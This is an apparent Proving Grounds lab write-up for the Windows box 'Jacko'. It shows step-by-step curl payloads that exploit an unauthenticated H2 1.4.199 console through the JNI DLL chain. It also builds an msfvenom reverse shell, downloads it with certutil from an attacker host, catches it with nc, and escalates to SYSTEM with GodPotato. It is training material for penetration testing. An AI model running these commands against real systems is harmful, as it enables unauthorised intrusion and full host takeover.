Skip to content

Jacko Writeup - Proving Grounds

Intermediate Windows

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

Jacko exposes an unauthenticated H2 database console that leaks straight to remote code execution through a JNI DLL write, and SeImpersonatePrivilege on the resulting shell gives SYSTEM through GodPotato.

Reconnaissance

Nmap

Scan all TCP ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -p- -sCV --open $TARGET_IP
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Microsoft Windows SMB
5040/tcp  open  unknown
7680/tcp  open  pando-pub
8082/tcp  open  http          H2 Database Console
9092/tcp  open  XmlIpcRegSvc
49664-49669/tcp open msrpc    Microsoft Windows RPC

Port 8082 is unusual for a Windows host. Browse to it.

Enumeration

H2 Database Console

The console needs no authentication and reports version 1.4.199.

H2 1.4.199 is vulnerable to a JNI code execution chain (EDB-49384): CSVWRITE a precompiled DLL to disk, System.load it, then call into it through the JNI script engine. The box only has a JRE installed, not a JDK, so the usual CREATE ALIAS with inline Java source fails because javac is missing. The JNI DLL approach needs no compiler.

Exploitation

H2 1.4.199 JNI code execution

Pull the exploit and extract the CSVWRITE SQL, which is too large for the console's text area and must go through curl instead of the browser.

┌──(kali㉿kali)-[~]
└─$ searchsploit -m 49384
┌──(kali㉿kali)-[~]
└─$ grep -oP "^SELECT CSVWRITE.*" 49384.txt > step1.sql
Exploit: H2 Database 1.4.199 - JNI Code Execution
Path: /usr/share/exploitdb/exploits/multiple/webapps/49384.txt
File saved to step1.sql

Grab the H2 session ID from the console URL, then submit the CSVWRITE payload with curl to write the precompiled DLL to disk.

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP:8082/query.do?jsessionid=$SESSION_ID" --data-urlencode "sql@step1.sql"
(1 row, 48 ms)

The DLL lands at C:\Windows\Temp\JNIScriptEngine.dll. Load it into the JVM.

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP:8082/query.do?jsessionid=$SESSION_ID" --data-urlencode "sql=CREATE ALIAS IF NOT EXISTS System_load FOR \"java.lang.System.load\"; CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');"
null

null means the load succeeded. Register the JNI eval alias and confirm code execution through it.

┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP:8082/query.do?jsessionid=$SESSION_ID" --data-urlencode "sql=CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR \"JNIScriptEngine.eval\"; CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"C:\\Windows\\System32\\whoami.exe\").getInputStream()).useDelimiter(\"\\Z\").next()');"
jacko\tony

RCE confirmed as tony. Drop a reverse shell the same way. whoami and certutil may not be on PATH in the resulting shell, so use full paths.

Reverse shell

Generate the payload and host it.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe -o shell.exe
┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
Payload size: 324 bytes
Saved as: shell.exe
Serving HTTP on 0.0.0.0 port 80 ...

Start a listener, pull the payload down through the same JNI eval call, then execute it.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP:8082/query.do?jsessionid=$SESSION_ID" --data-urlencode "sql=CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"certutil -urlcache -split -f http://$ATTACKER_IP/shell.exe C:\\Windows\\Temp\\shell.exe\").getInputStream()).useDelimiter(\"\\Z\").next()');"
┌──(kali㉿kali)-[~]
└─$ curl -s "http://$TARGET_IP:8082/query.do?jsessionid=$SESSION_ID" --data-urlencode "sql=CALL JNIScriptEngine_eval('java.lang.Runtime.getRuntime().exec(\"C:\\\\Windows\\\\Temp\\\\shell.exe\")');"
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
C:\Windows\system32>whoami
jacko\tony

Shell as tony. Check privileges for an escalation path.

Privilege Escalation

SeImpersonatePrivilege via GodPotato

Enumerate token privileges.

PS C:\Users\Guest\Desktop> C:\Windows\System32\whoami.exe /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name                State
SeImpersonatePrivilege         Enabled

SeImpersonatePrivilege is enabled, which a potato attack turns into SYSTEM. Transfer GodPotato and run a SYSTEM command through it.

┌──(kali㉿kali)-[~]
└─$ wget https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe
Saved 'GodPotato-NET4.exe'
PS C:\Users\Guest\Desktop> C:\Windows\System32\certutil.exe -urlcache -split -f http://$ATTACKER_IP/GodPotato-NET4.exe C:\Windows\Temp\GodPotato.exe
PS C:\Users\Guest\Desktop> C:\Windows\Temp\GodPotato.exe -cmd "C:\Windows\System32\cmd.exe /c whoami"
CertUtil: -URLCache command completed successfully.
nt authority\system

GodPotato abuses its privileged DCOM/RPC handling to impersonate the SYSTEM token, giving NT AUTHORITY\SYSTEM.

References